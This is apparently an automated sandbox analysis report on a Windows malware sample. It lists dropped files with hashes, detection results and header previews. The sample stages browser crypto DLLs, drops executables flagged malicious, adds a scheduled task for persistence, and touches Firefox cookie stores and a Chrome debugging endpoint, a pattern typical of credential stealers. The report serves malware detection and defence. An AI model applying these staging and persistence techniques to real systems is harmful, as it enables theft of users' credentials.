SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1825280
Entropy (8bit):	7.945917242077138
Encrypted:	false
SSDEEP:	49152:nGR8zQkHhxJCC5uOfA4+YYsc3v0tAfjoBQJmFp+0:nGR8skHLoCQOfRFMv0tAboBnFM0
MD5:	BC37773BB9AB9C72DED7535B8CAC8B6F
SHA1:	7A0DC5B4FF0BE8A6B3B6C013A910A929AB7C85A6
SHA-256:	7CD61A43406DF841BE2EBD093E192AD43EEE6DBE9B4FB1CBE5197F3E0ADDA7A6
SHA-512:	AED6C32A6EF47B623BAEB6809B620ED278411C6BB86EB2679F964BF2EC2705349F10E115CFC499B8EF68F14E424DACEB85FA38EF4502DCE0BA802B5F821C0131
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........8..k..k..k.'k..k..k..k.&k..k...k..k...k..k...j..k..k..k.#k..k..k..kRich..k........................PE..L...O./g.....................@"......0j...........@..........................`j.....t.....@.................................M.$.a.............................$..................................................................................... . ..$......b..................@....rsrc ......$......r..............@....idata ......$......r..............@... . +...$......t..............@...jwxhholp.@....O..<...v..............@...ajphrsoq..... j.....................@....taggant.0...0j.."..................@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.38182688185526
Encrypted:	false
SSDEEP:	48:SfNaoQlTEQdYfNaoQtONQCfNaoQpQEfNaoQW0UrU0U8Qp:6NnQlTEQWNnQ8QqNnQpQwNnQW0UrU0Uh
MD5:	F5834D6124FB8B9F7F99EAECB3F9E7AB
SHA1:	6FC17173843B83C6DAE18CCC9CCE0DDFC9945D12
SHA-256:	E42BC3A0863BBF0E31F7C77B64F0CD29466016BCAE096A071E189F98E6DFC736
SHA-512:	FF1814B72D938F94AA5C0F016E01F6A7FF6B67CB32814CD09CAC2ADA9C16E0EEB9456FBEFE06034F79A556064163CFB45B0E595E2B91332E7D128487CAFEA970
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D3753200E855DFE30E85CB8403973EA1",.. "id": "D3753200E855DFE30E85CB8403973EA1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D3753200E855DFE30E85CB8403973EA1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1A5623FE464895AA45816FD81DE86D0D",.. "id": "1A5623FE464895AA45816FD81DE86D0D",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1A5623FE464895AA45816FD81DE86D0D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsJJKEBGHJKF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3226112
Entropy (8bit):	6.671365126667291
Encrypted:	false
SSDEEP:	98304:pCZT2YsbObZeOAiocL0gmRinPrLyHFpge:SaObZVLpb2p
MD5:	15974FD2DFB0D8849325EAE72EE67856
SHA1:	078C485841129B42B7BC79F59D82E20A61FA0141
SHA-256:	5FAD02D0B2AE619864A701C9190AEAF96CDD8C2DCE1A73485F2F7C8E812529E2
SHA-512:	99EC130A44A9B90A7A3DE0250B1DEC29667A33A5B861AA7FCFE2D44916DD132AE75B2D023136106B6E3EF1B454D94E7E07348261C886AD4A57ACC89702781CED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@1...........@..........................p1.....g<1...@.................................W...k............................/1.............................`/1..................................................... . ............................@....rsrc...............................@....idata ............................@...kyacbjhi..........................@...gutvihgg.....01.......1.............@....taggant.0...@1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsJJKEBGHJKF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3226112
Entropy (8bit):	6.671365126667291
Encrypted:	false
SSDEEP:	98304:pCZT2YsbObZeOAiocL0gmRinPrLyHFpge:SaObZVLpb2p
MD5:	15974FD2DFB0D8849325EAE72EE67856
SHA1:	078C485841129B42B7BC79F59D82E20A61FA0141
SHA-256:	5FAD02D0B2AE619864A701C9190AEAF96CDD8C2DCE1A73485F2F7C8E812529E2
SHA-512:	99EC130A44A9B90A7A3DE0250B1DEC29667A33A5B861AA7FCFE2D44916DD132AE75B2D023136106B6E3EF1B454D94E7E07348261C886AD4A57ACC89702781CED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@1...........@..........................p1.....g<1...@.................................W...k............................/1.............................`/1..................................................... . ............................@....rsrc...............................@....idata ............................@...kyacbjhi..........................@...gutvihgg.....01.......1.............@....taggant.0...@1.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJJKEBGHJKF.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4123335944288518
Encrypted:	false
SSDEEP:	6:nJOVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lBpllct0:YRf2RKQ1CGAFAjzvYRQVBLSt0
MD5:	FB18FC11938B0781554A05051901593B
SHA1:	9E74349A3BF1A9E6FAE05DC3B59B0B81DC86449A
SHA-256:	43C9A560C36838ECF30528F3EA786663B1D4D56A1E3ACC3311653724EE32E9C0
SHA-512:	9B479F51E8445B71BE80C08B2D1932148BD19BA08976C79577CD7A34388430DD2854E9559789FDF39E801905B4B1F31C40C4F863E0CC32EE446AAC77D98DB3D9
Malicious:	false
Preview:	....y...).B.d1w.8.oF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................*.@3P.........................

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3655)
Category:	downloaded
Size (bytes):	3660
Entropy (8bit):	5.845964528526432
Encrypted:	false
SSDEEP:	96:M27liZEH66664CUjhKa7K3xZa+XL34Op+0u0yV/9zZ1Qffffo:MmsEH6666jUdKa+B98o+H0yZ9FZ
MD5:	A324F1D3EE96AC9CE95486B5AE65276B
SHA1:	F5989C592D910515486C910E8DF108A6B4EEA29B
SHA-256:	051EDC33EE70927C331AECBADDE597B3E602C3CA585954A7E6EFFC897B923D8A
SHA-512:	943BB31760BB7B26EEF51D6E675F732F72028DDCFCCB36EC64F132AEAA948157466F84A386AADADA3EB5EC1602458787E4ECCB1879F123BAFB1D81EC6592EEC0
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["northern taurids meteor shower","roki sasaki baseball","wordle today november 12","medicare premiums 2025","verizon fios internet outage map","yellowstone prequel 1923 season 2","washington wizards houston rockets","overwatch classic heroes"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWhfdzFsOTRwEhlKYXBhbmVzZSBiYXNlYmFsbCBwaXRjaGVyMrcPZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYkFBQUNBd0VCQVFBQUFBQUFBQUFBQUFBREJnSUVCUUFIQWYvRUFEZ1FBQUlCQWdVQ0JRSUNCd2tBQUFBQUFBRUNBd1FSQUFVU0lURVRRUVlpVVdGeEZJRXlvUWNqWXBHeHdmQVZKQ1V6UWx

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133042
Entropy (8bit):	5.43489386369851
Encrypted:	false
SSDEEP:	3072:fBkPdsBJT7bKwkztS6STFSz1nrm0SnXYK02i6o:fedUW5c5Sz1nK0SnoK08o
MD5:	83E851D96F286B5644D8472266132C01
SHA1:	CB89B139C098E6E6A1E32E48B7357CFA12F282FD
SHA-256:	3FF69C524644B7411EED6AB9924C3377168CC43BD7443B5AC5F253B7DC8CCEDD
SHA-512:	24E5100BC915BCB3F1F3B8EB4DECEBDC28664DBA309BC9A219B64ADA9C945544A7F753B4012471F7D6C24E87D61F6F9C96999085FAE1ACEB30F22557F8B1E7F0
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
